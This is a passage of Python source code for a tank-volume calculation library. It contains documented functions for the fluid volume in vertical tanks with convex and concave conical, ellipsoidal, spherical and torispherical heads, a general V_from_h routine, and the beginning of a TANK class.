bottom,\n    according to [1]_. No provision for the top of the tank is made here.\n\n    .. math::\n        V_f = \\frac{\\pi}{4}\\left(\\frac{Dh}{a}\\right)^2\\left(\\frac{h}{3}\\right),\\; h < a\n\n        V_f = \\frac{\\pi D^2}{4}\\left(h - \\frac{2a}{3}\\right),\\; h\\ge a\n\n    Parameters\n    ----------\n    D : float\n        Diameter of the main cylindrical section, [m]\n    a : float\n        Distance the cone head extends under the main cylinder, [m]\n    h : float\n        Height, as measured up to where the fluid ends, [m]\n\n    Returns\n    -------\n    V : float\n        Volume [m^3]\n\n    Examples\n    --------\n    Two examples from [1]_, and at empty and h=D.\n\n    >>> [V_vertical_conical(132., 33., i)/231. for i in [24, 60, 0, 132]]\n    [250.67461381371024, 2251.175535772343, 0.0, 6516.560761446257]\n\n    References\n    ----------\n    .. [1] Jones, D. \"Calculating Tank Volume.\" Text. Accessed December 22, 2015.\n       http://www.webcalc.com.br/blog/Tank_Volume.PDF'''\n    if h < a:\n        Vf = pi/4*(D*h/a)**2*(h/3.)\n    else:\n        Vf = pi*D**2/4*(h - 2*a/3.)\n    return Vf\n#print 'vertical conical'\n#print V_vertical_conical(132., 33., 24.)/231.\n#print V_vertical_conical(132., 33., 60.)/231.\n#print [V_vertical_conical(132., 33., i)/231. for i in [24, 60, 0, 132]]\n\n\ndef V_vertical_ellipsoidal(D, a, h):\n    r'''Calculates volume of a vertical tank with a convex ellipsoidal bottom,\n    according to [1]_. No provision for the top of the tank is made here.\n\n    .. math::\n        V_f = \\frac{\\pi}{4}\\left(\\frac{Dh}{a}\\right)^2 \\left(a - \\frac{h}{3}\\right),\\; h < a\n\n        V_f = \\frac{\\pi D^2}{4}\\left(h - \\frac{a}{3}\\right),\\; h \\ge a\n\n    Parameters\n    ----------\n    D : float\n        Diameter of the main cylindrical section, [m]\n    a : float\n        Distance the ellipsoid head extends under the main cylinder, [m]\n    h : float\n        Height, as measured up to where the fluid ends, [m]\n\n    Returns\n    -------\n    V : float\n        Volume [m^3]\n\n    Examples\n    --------\n    Two examples from [1]_, and at empty and h=D.\n\n    >>> [V_vertical_ellipsoidal(132., 33., i)/231. for i in [24, 60, 0, 132]]\n    [783.3581681678445, 2902.831611916969, 0.0, 7168.216837590883]\n\n    References\n    ----------\n    .. [1] Jones, D. \"Calculating Tank Volume.\" Text. Accessed December 22, 2015.\n       http://www.webcalc.com.br/blog/Tank_Volume.PDF'''\n    if h < a:\n        Vf = pi/4*(D*h/a)**2*(a - h/3.)\n    else:\n        Vf = pi*D**2/4*(h - a/3.)\n    return Vf\n\n#print 'vertical epilsoidal'\n#print V_vertical_ellipsoidal(132., 33., 24.)/231.\n#print V_vertical_ellipsoidal(132., 33., 60.)/231.\n#print [V_vertical_ellipsoidal(132., 33., i)/231. for i in [24, 60, 0, 132]]\n\n\ndef V_vertical_spherical(D, a, h):\n    r'''Calculates volume of a vertical tank with a convex spherical bottom,\n    according to [1]_. No provision for the top of the tank is made here.\n\n    .. math::\n        V_f = \\frac{\\pi h^2}{4}\\left(2a + \\frac{D^2}{2a} - \\frac{4h}{3}\\right),\\; h < a\n\n        V_f = \\frac{\\pi}{4}\\left(\\frac{2a^3}{3} - \\frac{aD^2}{2} + hD^2\\right),\\; h\\ge a\n\n    Parameters\n    ----------\n    D : float\n        Diameter of the main cylindrical section, [m]\n    a : float\n        Distance the spherical head extends under the main cylinder, [m]\n    h : float\n        Height, as measured up to where the fluid ends, [m]\n\n    Returns\n    -------\n    V : float\n        Volume [m^3]\n\n    Examples\n    --------\n    Two examples from [1]_, and at empty and h=D.\n\n    >>> [V_vertical_spherical(132., 33., i)/231. for i in [24, 60, 0, 132]]\n    [583.6018352850442, 2658.4605833627343, 0.0, 6923.845809036648]\n\n    References\n    ----------\n    .. [1] Jones, D. \"Calculating Tank Volume.\" Text. Accessed December 22, 2015.\n       http://www.webcalc.com.br/blog/Tank_Volume.PDF'''\n    if h < a:\n        Vf = pi*h**2/4*(2*a + D**2/2/a - 4*h/3)\n    else:\n        Vf = pi/4*(2*a**3/3 - a*D**2/2 + h*D**2)\n    return Vf\n\n#print 'vertical spherical'\n#print V_vertical_spherical(132., 33., 24.)/231.\n#print V_vertical_spherical(132., 33., 60.)/231.\n#print [V_vertical_spherical(132., 33., i)/231. for i in [24, 60, 0, 132]]\n\n\ndef V_vertical_torispherical(D, f, k, h):\n    r'''Calculates volume of a vertical tank with a convex torispherical bottom,\n    according to [1]_. No provision for the top of the tank is made here.\n\n    .. math::\n        V_f = \\frac{\\pi h^2}{4}\\left(2a_1 + \\frac{D_1^2}{2a_1}\n        - \\frac{4h}{3}\\right),\\; 0 \\le h \\le a_1\n\n        V_f = \\frac{\\pi}{4}\\left(\\frac{2a_1^3}{3} + \\frac{a_1D_1^2}{2}\\right)\n        +\\pi u\\left[\\left(\\frac{D}{2}-kD\\right)^2 +s\\right]\n        + \\frac{\\pi tu^2}{2} - \\frac{\\pi u^3}{3} + \\pi D(1-2k)\\left[\n        \\frac{2u-t}{4}\\sqrt{s+tu-u^2} + \\frac{t\\sqrt{s}}{4}\n        + \\frac{k^2D^2}{2}\\left(\\cos^{-1}\\frac{t-2u}{2kD}-\\alpha\\right)\\right]\n        ,\\; a_1 < h \\le a_1 + a_2\n\n        V_f = \\frac{\\pi}{4}\\left(\\frac{2a_1^3}{3} + \\frac{a_1D_1^2}{2}\\right)\n        +\\frac{\\pi t}{2}\\left[\\left(\\frac{D}{2}-kD\\right)^2 +s\\right]\n        +\\frac{\\pi  t^3}{12} + \\pi D(1-2k)\\left[\\frac{t\\sqrt{s}}{4}\n        + \\frac{k^2D^2}{2}\\sin^{-1}(\\cos\\alpha)\\right]\n        + \\frac{\\pi D^2}{4}[h-(a_1+a_2)] ,\\;  a_1 + a_2 < h\n\n        \\alpha = \\sin^{-1}\\frac{1-2k}{2(f-k)}\n\n        a_1 = fD(1-\\cos\\alpha)\n\n        a_2 = kD\\cos\\alpha\n\n        D_1 = 2fD\\sin\\alpha\n\n        s = (kD\\sin\\alpha)^2\n\n        t = 2a_2\n\n        u = h - fD(1-\\cos\\alpha)\n\n    Parameters\n    ----------\n    D : float\n        Diameter of the main cylindrical section, [m]\n    f : float\n        Dish-radius parameter; fD  = dish radius []\n    k : float\n        knucle-radius parameter ; kD = knucle radius []\n    h : float\n        Height, as measured up to where the fluid ends, [m]\n\n    Returns\n    -------\n    V : float\n        Volume [m^3]\n\n    Examples\n    --------\n    Two examples from [1]_, and at empty, 1, 22, and h=D.\n\n    >>> [V_vertical_torispherical(D=132., f=1.0, k=0.06, h=i)/231.\n    ... for i in [24, 60, 0, 1, 22, 132]]\n    [904.0688283793511, 3036.7614412163075, 0.0, 1.7906624793188568, 785.587561468186, 7302.146666890221]\n\n    References\n    ----------\n    .. [1] Jones, D. \"Calculating Tank Volume.\" Text. Accessed December 22, 2015.\n       http://www.webcalc.com.br/blog/Tank_Volume.PDF'''\n    alpha = asin((1-2*k)/(2*(f-k)))\n    a1 = f*D*(1 - cos(alpha))\n    a2 = k*D*cos(alpha)\n    D1 = 2*f*D*sin(alpha)\n    s = (k*D*sin(alpha))**2\n    t = 2*a2\n    u = h - f*D*(1 - cos(alpha))\n\n    if 0 <= h <= a1:\n        Vf = pi*h**2/4*(2*a1 + D1**2/2/a1 - 4*h/3)\n    elif a1 < h <= a1 + a2:\n        Vf = (pi/4*(2*a1**3/3 + a1*D1**2/2.) + pi*u*((D/2. - k*D)**2 + s)\n        + pi*t*u**2/2. - pi*u**3/3. + pi*D*(1 - 2*k)*((2*u-t)/4.*(s + t*u\n        - u**2)**0.5 + t*s**0.5/4. + k**2*D**2/2*(acos((t-2*u)/(2*k*D))-alpha)))\n    else:\n        Vf = pi/4*(2*a1**3/3. + a1*D1**2/2.) + pi*t/2.*((D/2 - k*D)**2\n        + s) + pi*t**3/12. + pi*D*(1 - 2*k)*(t*s**0.5/4\n        + k**2*D**2/2*asin(cos(alpha))) + pi*D**2/4*(h - (a1 + a2))\n    return Vf\n\n#print 'torispherical, vertical'\n#print V_vertical_torispherical(D=132., f=1.0, k=0.06, h=24.)/231.\n#print V_vertical_torispherical(D=132., f=1.0, k=0.06, h=60.)/231.\n#print [V_vertical_torispherical(D=132., f=1.0, k=0.06, h=i)/231.for i in [24, 60, 0, 1, 22, 132]]\n\n### Begin vertical tanks with concave heads\n\ndef V_vertical_conical_concave(D, a, h):\n    r'''Calculates volume of a vertical tank with a concave conical bottom,\n    according to [1]_. No provision for the top of the tank is made here.\n\n    .. math::\n        V = \\frac{\\pi D^2}{12} \\left(3h + a - \\frac{(a+h)^3}{a^2}\\right)\n        ,\\;\\; 0 \\le h < |a|\n\n        V = \\frac{\\pi D^2}{12} (3h + a ),\\;\\; h \\ge |a|\n\n    Parameters\n    ----------\n    D : float\n        Diameter of the main cylindrical section, [m]\n    a : float\n        Negative distance the cone head extends inside the main cylinder, [m]\n    h : float\n        Height, as measured up to where the fluid ends, [m]\n\n    Returns\n    -------\n    V : float\n        Volume [m^3]\n\n    Examples\n    --------\n    Three examples from [1]_, and at empty and with h=D.\n\n    >>> [V_vertical_conical_concave(D=113., a=-33, h=i)/231 for i in\n    ... [15., 25., 50., 0, 113]]\n    [251.15825565795188, 614.6068425492208, 1693.1654406426783, 0.0, 4428.278844757774]\n\n    References\n    ----------\n    .. [1] Jones, D. \"Compute Fluid Volumes in Vertical Tanks.\" Chemical\n       Processing. December 18, 2003.\n       http://www.chemicalprocessing.com/articles/2003/193/\n    '''\n    if h < abs(a):\n        Vf = pi*D**2/12.*(3*h + a - (a+h)**3/a**2)\n    else:\n        Vf = pi*D**2/12.*(3*h + a)\n    return Vf\n\n#print V_vertical_conical_concave(D=113., a=-33, h=15.)/231 # works\n#print V_vertical_conical_concave(D=113., a=-33, h=25.)/231 # works\n#print V_vertical_conical_concave(D=113., a=-33, h=50.)/231 # works\n#print [V_vertical_conical_concave(D=113., a=-33, h=i)/231 for i in [15., 25., 50., 0, 113]]\n\ndef V_vertical_ellipsoidal_concave(D, a, h):\n    r'''Calculates volume of a vertical tank with a concave ellipsoidal bottom,\n    according to [1]_. No provision for the top of the tank is made here.\n\n    .. math::\n        V = \\frac{\\pi D^2}{12} \\left(3h + 2a - \\frac{(a+h)^2(2a-h)}{a^2}\\right)\n        ,\\;\\; 0 \\le h < |a|\n\n        V = \\frac{\\pi D^2}{12} (3h + 2a ),\\;\\; h \\ge |a|\n\n    Parameters\n    ----------\n    D : float\n        Diameter of the main cylindrical section, [m]\n    a : float\n        Negative distance the eppilsoid head extends inside the main cylinder, [m]\n    h : float\n        Height, as measured up to where the fluid ends, [m]\n\n    Returns\n    -------\n    V : float\n        Volume [m^3]\n\n    Examples\n    --------\n    Three examples from [1]_, and at empty and with h=D.\n\n    >>> [V_vertical_ellipsoidal_concave(D=113., a=-33, h=i)/231 for i in\n    ... [15., 25., 50., 0, 113]]\n    [44.84968851034856, 207.6374468071692, 1215.605957384487, 0.0, 3950.7193614995826]\n\n    References\n    ----------\n    .. [1] Jones, D. \"Compute Fluid Volumes in Vertical Tanks.\" Chemical\n       Processing. December 18, 2003.\n       http://www.chemicalprocessing.com/articles/2003/193/\n    '''\n    if h < abs(a):\n        Vf = pi*D**2/12.*(3*h + 2*a - (a+h)**2*(2*a-h)/a**2)\n    else:\n        Vf = pi*D**2/12.*(3*h + 2*a)\n    return Vf\n\n#print [V_vertical_ellipsoidal_concave(D=113., a=-33, h=i)/231 for i in [15., 25., 50., 0, 113]]\n\n\ndef V_vertical_spherical_concave(D, a, h):\n    r'''Calculates volume of a vertical tank with a concave spherical bottom,\n    according to [1]_. No provision for the top of the tank is made here.\n\n    .. math::\n        V = \\frac{\\pi}{12}\\left[3D^2h + \\frac{a}{2}(3D^2 + 4a^2) + (a+h)^3\n        \\left(4 - \\frac{3D^2 + 12a^2}{2a(a+h)}\\right)\\right],\\;\\; 0 \\le h < |a|\n\n        V = \\frac{\\pi}{12}\\left[3D^2h + \\frac{a}{2}(3D^2 + 4a^2) \\right]\n        ,\\;\\;  h \\ge |a|\n\n    Parameters\n    ----------\n    D : float\n        Diameter of the main cylindrical section, [m]\n    a : float\n        Negative distance the spherical head extends inside the main cylinder, [m]\n    h : float\n        Height, as measured up to where the fluid ends, [m]\n\n    Returns\n    -------\n    V : float\n        Volume [m^3]\n\n    Examples\n    --------\n    Three examples from [1]_, and at empty and with h=D.\n\n    >>> [V_vertical_spherical_concave(D=113., a=-33, h=i)/231 for i in\n    ... [15., 25., 50., 0, 113]]\n    [112.81405437348528, 341.7056403375114, 1372.9286894955042, 0.0, 4108.042093610599]\n\n    References\n    ----------\n    .. [1] Jones, D. \"Compute Fluid Volumes in Vertical Tanks.\" Chemical\n       Processing. December 18, 2003.\n       http://www.chemicalprocessing.com/articles/2003/193/\n    '''\n    if h < abs(a):\n        Vf = pi/12*(3*D**2*h + a/2.*(3*D**2 + 4*a**2) + (a+h)**3*(4 - (3*D**2+12*a**2)/(2.*a*(a+h))))\n    else:\n        Vf = pi/12*(3*D**2*h + a/2.*(3*D**2 + 4*a**2))\n    return Vf\n\n#print [V_vertical_spherical_concave(D=113., a=-33, h=i)/231 for i in [15., 25., 50., 0, 113]]\n\ndef V_vertical_torispherical_concave(D, f, k, h):\n    r'''Calculates volume of a vertical tank with a concave torispherical bottom,\n    according to [1]_. No provision for the top of the tank is made here.\n\n    .. math::\n        V = \\frac{\\pi D^2 h}{4} - v_1(h=a_1+a_2) + v_1(h=a_1 + a_2 -h),\\; 0 \\le h < a_2\n\n        V = \\frac{\\pi D^2 h}{4} - v_1(h=a_1+a_2) + v_2(h=a_1 + a_2 -h),\\; a_2 \\le h < a_1 + a_2\n\n        V = \\frac{\\pi D^2 h}{4} - v_1(h=a_1+a_2) + 0,\\; h \\ge a_1 + a_2\n\n        v_1 = \\frac{\\pi}{4}\\left(\\frac{2a_1^3}{3} + \\frac{a_1D_1^2}{2}\\right)\n        +\\pi u\\left[\\left(\\frac{D}{2}-kD\\right)^2 +s\\right]\n        + \\frac{\\pi tu^2}{2} - \\frac{\\pi u^3}{3} + \\pi D(1-2k)\\left[\n        \\frac{2u-t}{4}\\sqrt{s+tu-u^2} + \\frac{t\\sqrt{s}}{4}\n        + \\frac{k^2D^2}{2}\\left(\\cos^{-1}\\frac{t-2u}{2kD}-\\alpha\\right)\\right]\n\n        v_2 = \\frac{\\pi h^2}{4}\\left(2a_1 + \\frac{D_1^2}{2a_1} - \\frac{4h}{3}\\right)\n\n        \\alpha = \\sin^{-1}\\frac{1-2k}{2(f-k)}\n\n        a_1 = fD(1-\\cos\\alpha)\n\n        a_2 = kD\\cos\\alpha\n\n        D_1 = 2fD\\sin\\alpha\n\n        s = (kD\\sin\\alpha)^2\n\n        t = 2a_2\n\n        u = h - fD(1-\\cos\\alpha)\n\n    Parameters\n    ----------\n    D : float\n        Diameter of the main cylindrical section, [m]\n    f : float\n        Dish-radius parameter; fD  = dish radius []\n    k : float\n        knucle-radius parameter ; kD = knucle radius []\n    h : float\n        Height, as measured up to where the fluid ends, [m]\n\n    Returns\n    -------\n    V : float\n        Volume [m^3]\n\n    Examples\n    --------\n    Three examples from [1]_, and at empty and with h=D.\n\n    >>> [V_vertical_torispherical_concave(D=113., f=0.71, k=0.081, h=i)/231\n    ... for i in [15., 25., 50., 0, 113]]\n    [103.88569287163769, 388.72142877582087, 1468.762358198084, 0.0, 4203.87576231318]\n\n    References\n    ----------\n    .. [1] Jones, D. \"Compute Fluid Volumes in Vertical Tanks.\" Chemical\n       Processing. December 18, 2003.\n       http://www.chemicalprocessing.com/articles/2003/193/\n    '''\n    alpha = asin((1-2*k)/(2.*(f-k)))\n    a1 = f*D*(1-cos(alpha))\n    a2 = k*D*cos(alpha)\n    D1 = 2*f*D*sin(alpha)\n    s = (k*D*sin(alpha))**2\n    t = 2*a2\n    def V1(h):\n        u = h-f*D*(1-cos(alpha))\n        v1 = pi/4*(2*a1**3/3. + a1*D1**2/2.) + pi*u*((D/2.-k*D)**2 +s)\n        v1 += pi*t*u**2/2. - pi*u**3/3.\n        v1 += pi*D*(1-2*k)*((2*u-t)/4.*(s+t*u-u**2)**0.5 + t*s**0.5/4.\n        + k**2*D**2/2.*(acos((t-2*u)/(2*k*D)) -alpha))\n        return v1\n    def V2(h):\n        v2 = pi*h**2/4.*(2*a1 + D1**2/(2.*a1) - 4*h/3.)\n        return v2\n    if 0 <= h < a2:\n        Vf = pi*D**2*h/4 - V1(a1+a2) + V1(a1+a2-h)\n    elif a2 <= h < a1 + a2:\n        Vf = pi*D**2*h/4 - V1(a1+a2) + V2(a1+a2-h)\n    else:\n        Vf = pi*D**2*h/4 - V1(a1+a2)\n    return Vf\n\n#print [V_vertical_torispherical_concave(D=113., f=0.71, k=0.081, h=i)/231 for i in [15., 25., 50., 0, 113]]\n\n\n\n\ndef a_torispherical(D, f, k):\n    r'''Calculates depth of a torispherical head according to [1]_.\n\n    .. math::\n        a = a_1 + a_2\n\n        \\alpha = \\sin^{-1}\\frac{1-2k}{2(f-k)}\n\n        a_1 = fD(1-\\cos\\alpha)\n\n        a_2 = kD\\cos\\alpha\n\n    Parameters\n    ----------\n    D : float\n        Diameter of the main cylindrical section, [m]\n    f : float\n        Dish-radius parameter; fD  = dish radius []\n    k : float\n        knucle-radius parameter ; kD = knucle radius []\n\n    Returns\n    -------\n    a : float\n        Depth of head [m]\n\n    Examples\n    --------\n    Two examples from [1]_.\n\n    >>> a_torispherical(D=96., f=0.9, k=0.2)\n    25.684268924767125\n    >>> a_torispherical(D=108., f=1., k=0.06)\n    18.288462280484797\n\n    References\n    ----------\n    .. [1] Jones, D. \"Calculating Tank Volume.\" Text. Accessed December 22, 2015.\n       http://www.webcalc.com.br/blog/Tank_Volume.PDF'''\n    alpha = asin((1-2*k)/(2*(f-k)))\n    a1 = f*D*(1 - cos(alpha))\n    a2 = k*D*cos(alpha)\n    a = a1 + a2\n    return a\n\n\n\ndef V_from_h(h, D, L, horizontal=True, sideA=None, sideB=None, sideA_a=0,\n             sideB_a=0, sideA_f=None, sideA_k=None, sideB_f=None, sideB_k=None):\n    r'''Calculates partially full volume of a vertical or horizontal tank with\n    different head types according to [1]_.\n\n    Parameters\n    ----------\n    h : float\n        Heifht of the liquid in the tank\n    D : float\n        Diameter of the cylindrical section of the tank.\n    L : float\n        Length of the main cylindrical section of the tank.\n    horizontal : bool, optional\n        Whether or not the tank is a horizontal or vertical tank\n    sideA : string, optional\n        The left (or bottom for vertical) head of the tank's type; one of\n        [None, 'conical', 'ellipsoidal', 'torispherical', 'guppy', 'spherical'].\n    sideB : string, optional\n        The right (or top for vertical) head of the tank's type; one of\n        [None, 'conical', 'ellipsoidal', 'torispherical', 'guppy', 'spherical'].\n    sideA_a : float, optional\n        The distance the head as specified by sideA extends down or to the left\n        from the main cylindrical section\n    sideB_a : float, optional\n        The distance the head as specified by sideB extends up or to the right\n        from the main cylindrical section\n    sideA_f : float, optional\n        Dish-radius parameter for side A; fD  = dish radius []\n    sideA_k : float, optional\n        knucle-radius parameter for side A; kD = knucle radius []\n    sideB_f : float, optional\n        Dish-radius parameter for side B; fD  = dish radius []\n    sideB_k : float, optional\n        knucle-radius parameter for side B; kD = knucle radius []\n\n    Returns\n    -------\n    V : float\n        Volume up to h [m^3]\n\n    Examples\n    --------\n    Horizontal configurations, compared with TankCalc - Ellipsoidal*2,\n    Ellipsoidal/None, spherical/conical, None/None. Final test is guppy/torispherical,\n    no checks available.\n\n    >>> [V_from_h(h=h, D=10., L=25., horizontal=True, sideA='ellipsoidal',\n    ... sideB='ellipsoidal', sideA_a=2, sideB_a=2) for h in [1, 2.5, 5, 7.5, 10]]\n    [108.05249928250362, 416.5904542901302, 1086.4674593664702, 1756.34446444281, 2172.9349187329403]\n    >>> [V_from_h(h=h, D=10., L=25., horizontal=True, sideA='ellipsoidal',\n    ... sideA_a=2) for h in [1, 2.5, 5, 7.5, 10]]\n    [105.12034613915314, 400.22799255268336, 1034.1075818066402, 1667.9871710605971, 2068.2151636132803]\n    >>> [V_from_h(h=h, D=10., L=25., horizontal=True, sideA='spherical',\n    ... sideB='conical', sideA_a=2, sideB_a=2) for h in [1, 2.5, 5, 7.5, 10]]\n    [104.20408244287965, 400.47607362329063, 1049.291946298991, 1698.107818974691, 2098.583892597982]\n    >>> [V_from_h(h=h, D=1.5, L=5., horizontal=True) for h in [0, 0.75, 1.5]]\n    [0.0, 4.417864669110647, 8.835729338221293]\n    >>> [V_from_h(h=h, D=10., L=25., horizontal=True, sideA='guppy',\n    ... sideB='torispherical', sideA_a=2, sideB_f=1., sideB_k=0.06) for h in [1, 2.5, 5, 7.5, 10]]\n    [104.68706323659293, 399.0285611453449, 1037.3160340613756, 1683.391972469731, 2096.854290344973]\n\n    Vertical configurations, compared with TankCalc - conical*2, spherical*2,\n    ellipsoidal*2. Torispherical*2 has no check. None*2 checks.\n\n    >>> [V_from_h(h=h, D=1.5, L=5., horizontal=False, sideA='conical',\n    ... sideB='conical', sideA_a=2., sideB_a=1.) for h in [0, 1, 2, 5., 7, 7.2, 8]]\n    [0.0, 0.14726215563702155, 1.1780972450961726, 6.4795348480289485, 10.013826583317465, 10.301282311120932, 10.602875205865551]\n    >>> [V_from_h(h=h, D=8., L=10., horizontal=False, sideA='spherical',\n    ... sideB='spherical', sideA_a=3., sideB_a=4.) for h in [0, 1.5, 3, 8.5, 13., 15., 16.2, 17]]\n    [0.0, 25.91813939211579, 89.5353906273091, 365.99554414321085, 592.190215201676, 684.3435997069765, 718.7251897078633, 726.2315017548405]\n    >>> [V_from_h(h=h, D=8., L=10., horizontal=False, sideA='ellipsoidal',\n    ... sideB='ellipsoidal', sideA_a=3., sideB_a=4.) for h in [0, 1.5, 3, 8.5, 13., 15., 16.2, 17]]\n    [0.0, 31.41592653589793, 100.53096491487338, 376.99111843077515, 603.1857894892403, 695.3391739945409, 729.7207639954277, 737.2270760424049]\n    >>> [V_from_h(h=h, D=8., L=10., horizontal=False, sideA='torispherical',\n    ... sideB='torispherical', sideA_a=1.3547, sideB_a=1.3547, sideA_f=1.,\n    ... sideA_k=0.06, sideB_f=1., sideB_k=0.06) for h in [0, 1.3, 9.3, 10.1, 10.7094]]\n    [0.0, 38.723353379954276, 440.84578224136413, 481.0581682073135, 511.68995321687544]\n    >>> [V_from_h(h=h, D=1.5, L=5., horizontal=False) for h in [0, 2.5, 5]]\n    [0, 4.417864669110647, 8.835729338221293]\n\n    References\n    ----------\n    .. [1] Jones, D. \"Compute Fluid Volumes in Vertical Tanks.\" Chemical\n       Processing. December 18, 2003.\n       http://www.chemicalprocessing.com/articles/2003/193/\n    '''\n    R = D/2.\n    V = 0\n    if horizontal:\n        # Conical case\n        if sideA == 'conical':\n            V += V_horiz_conical(D, L, sideA_a, h, headonly=True)\n        if sideB == 'conical':\n            V += V_horiz_conical(D, L, sideB_a, h, headonly=True)\n        # Elliosoidal case\n        if sideA == 'ellipsoidal':\n            V += V_horiz_ellipsoidal(D, L, sideA_a, h, headonly=True)\n        if sideB == 'ellipsoidal':\n            V += V_horiz_ellipsoidal(D, L, sideB_a, h, headonly=True)\n        # Guppy case\n        if sideA == 'guppy':\n            V += V_horiz_guppy(D, L, sideA_a, h, headonly=True)\n        if sideB == 'guppy':\n            V += V_horiz_guppy(D, L, sideB_a, h, headonly=True)\n        # Spherical case\n        if sideA == 'spherical':\n            V += V_horiz_spherical(D, L, sideA_a, h, headonly=True)\n        if sideB == 'spherical':\n            V += V_horiz_spherical(D, L, sideB_a, h, headonly=True)\n        # Torispherical case\n        if sideA == 'torispherical':\n            V += V_horiz_torispherical(D, L, sideA_f, sideA_k, h, headonly=True)\n        if sideB == 'torispherical':\n            V += V_horiz_torispherical(D, L, sideB_f, sideB_k, h, headonly=True)\n        if h > D: # Must be before Af, which will raise a domain error\n            raise Exception('Input height is above top of tank')\n        Af = R**2*acos((R-h)/R) - (R-h)*(2*R*h - h**2)**0.5\n        V += L*Af\n    else:\n        # Bottom head\n        if sideA in ['conical', 'ellipsoidal', 'torispherical', 'spherical']:\n            if sideA == 'conical':\n                V += V_vertical_conical(D, sideA_a, h=min(sideA_a, h))\n            if sideA == 'ellipsoidal':\n                V += V_vertical_ellipsoidal(D, sideA_a, h=min(sideA_a, h))\n            if sideA == 'spherical':\n                V += V_vertical_spherical(D, sideA_a, h=min(sideA_a, h))\n            if sideA == 'torispherical':\n                V += V_vertical_torispherical(D, sideA_f, sideA_k, h=min(sideA_a, h))\n        # Cylindrical section\n        if h >= sideA_a + L:\n            V += pi/4*D**2*L # All middle\n        elif h > sideA_a:\n            V += pi/4*D**2*(h - sideA_a) # Partial middle\n        # Top head\n        if h > sideA_a + L:\n            h2 = sideB_a - (h - sideA_a - L)\n            if sideB == 'conical':\n                V += V_vertical_conical(D, sideB_a, h=sideB_a)\n                V -= V_vertical_conical(D, sideB_a, h=h2)\n            if sideB == 'ellipsoidal':\n                V += V_vertical_ellipsoidal(D, sideB_a, h=sideB_a)\n                V -= V_vertical_ellipsoidal(D, sideB_a, h=h2)\n            if sideB == 'spherical':\n                V += V_vertical_spherical(D, sideB_a, h=sideB_a)\n                V -= V_vertical_spherical(D, sideB_a, h=h2)\n            if sideB == 'torispherical':\n                V += V_vertical_torispherical(D, sideB_f, sideB_k, h=sideB_a)\n                V -= V_vertical_torispherical(D, sideB_f, sideB_k, h=h2)\n        if h > L + sideA_a + sideB_a:\n            raise Exception('Input height is above top of tank')\n    return V\n\n\nclass TANK(object):\n    '''\n    Class representing tank volumes and levels. All parameters are also\n    attributes.\n\n    Attributes\n    ----------\n    table : bool\n        Whether or not a table of heights-volumes has been generated\n    h_max : float\n        Height of the tank, [m]\n    V_total : float\n        Total volume of the tank as calculated [m^3]\n    heights : ndarray\n        Array of heights between 0 and h_max, [m]\n    volumes : ndarray\n        Array of volumes calculated from the heights [m^3]\n\n    Examples\n    --------\n    Total volume of a tank:\n\n    >>> TANK(D=1.2, L=4, horizontal=False).V_total\n    4.523893421169302\n\n    Volume of a tank at a given height:\n\n    >>> TANK(D=1.2, L=4, horizontal=False).V_from_h(.5)\n    0.5654866776461628\n\n    Height of liquid for a given volume:\n\n    >>> TANK(D=1.2, L=4, horizontal=False).h_from_V(.5)\n    0.44209706414415373\n\n    Solving for tank volumes, first horizontal, then vertical:\n\n    >>> TANK(D=10., horizontal=True, sideA='conical', sideB='conical', V=500).L\n    4.699531057009146\n    >>> TANK(L=4.69953105701, horizontal=True, sideA='conical', sideB='conical', V=500).D\n    9.999999999999407\n    >>> TANK(L_over_D=0.469953105701, horizontal=True, sideA='conical', sideB='conical', V=500).L\n    4.69953105700979\n\n    >>> TANK(D=10., horizontal=False, sideA='conical', sideB='conical', V=500).L\n    4.699531057009147\n    >>> TANK(L=4.69953105701, horizontal=False, sideA='conical', sideB='conical', V=500).D\n    9.999999999999407\n    >>> TANK(L_over_D=0.469953105701, horizontal=False, sideA='conical', sideB='conical', V=500).L\n    4.69953105700979\n    '''\n    table = False\n\n    def __init__(self, D=None, L=None, horizontal=True,\n                 sideA=None, sideB=None, sideA_a=0, sideB_a=0,\n                 sideA_f=1., sideA_k=0.06, sideB_f=1., sideB_k=0.06,\n                 sideA_a_ratio=0.25, sideB_a_ratio=0.25, L_over_D=None, V=None):\n        '''Initilization method for a new tank. All parameters are attributes.\n\n        Parameters\n        ----------\n        D : float\n            Diameter of the cylindrical section of the tank, [m]\n        L : float\n            Length of the main cylindrical section of the tank, [m]\n        horizontal : bool, optional\n            Whether or not the tank is a horizontal or vertical tank\n        sideA : string, optional\n            The left (or bottom for vertical) head of the tank's type; one of\n            [None, 'conical', 'ellipsoidal', 'torispherical', 'guppy', 'spherical'].\n        sideB : string, optional\n            The right (or top for vertical) head of the tank's type; one of\n            [None, 'conical', 'ellipsoidal', 'torispherical', 'guppy', 'spherical'].\n        sideA_a : float, optional\n            The distance the head as specified by sideA extends down or to the left\n            from the main cylindrical section\n        sideB_a : float, optional\n            The distance the head as specified by sideB extends up or to the right\n            from the main cylindrical section\n        sideA_f : float, optional\n            Dish-radius parameter for side A; fD  = dish radius []\n        sideA_k : float, optional\n            knucle-radius parameter for side A; kD = knucle radius []\n        sideB_f : float, optional\n            Dish-radius parameter for side B; fD  = dish radius []\n        sideB_k : float, optional\n            knucle-radius parameter for side B; kD = knucle radius []\n        L_over_D: float, optional\n            Ratio of length over diameter, used only when D and L are both\n            unspecified but V is, []\n        V : float, optional\n            Volume of the tank; solved for if specified, using\n            sideA_a_ratio/sideB_a_ratio, sideA, sideB, horizontal, and one\n            of L_over_D, L, or D, [m^3]\n        '''\n        self.D = D\n        self.L = L\n        self.L_over_D = L_over_D\n        self.V = V\n        self.horizontal = horizontal\n\n        self.sideA = sideA\n        self.sideA_a = sideA_a\n        self.sideA_f = sideA_f\n        self.sideA_k = sideA_k\n        self.sideA_a_ratio = sideA_a_ratio\n\n        self.sideB = sideB\n        self.sideB_a = sideB_a\n        self.sideB_f = sideB_f\n        self.sideB_k = sideB_k\n        self.sideB_a_ratio = sideB_a_ratio\n\n        if self.horizontal:\n            self.vertical = False\n            self.orientation = 'horizontal'\n            self.angle = 0\n        else:\n            self.vertical = True\n            self.orientation = 'vertical'\n            self.angle = 90\n\n        # If V is specified and either L or D are known, solve for L, D, L_over_D\n        if self.V:\n            self.solve_tank_for_V()\n        self.set_misc()\n\n    def set_misc(self):\n        '''Set more parameters, after the tank is better defined than in the\n        __init__ function.\n\n        Notes\n        -----\n        Two of D, L, and L_over_D must be known when this function runs.\n        The other one is set from the other two first thing in this function.\n        a_ratio parameters are used to calculate a values for the heads here,\n        if applicable.\n        Radius is calculated here.\n        Maximum tank height is calculated here.\n        V_total is calculated here.\n        '''\n        if self.D and self.L:\n            # If L 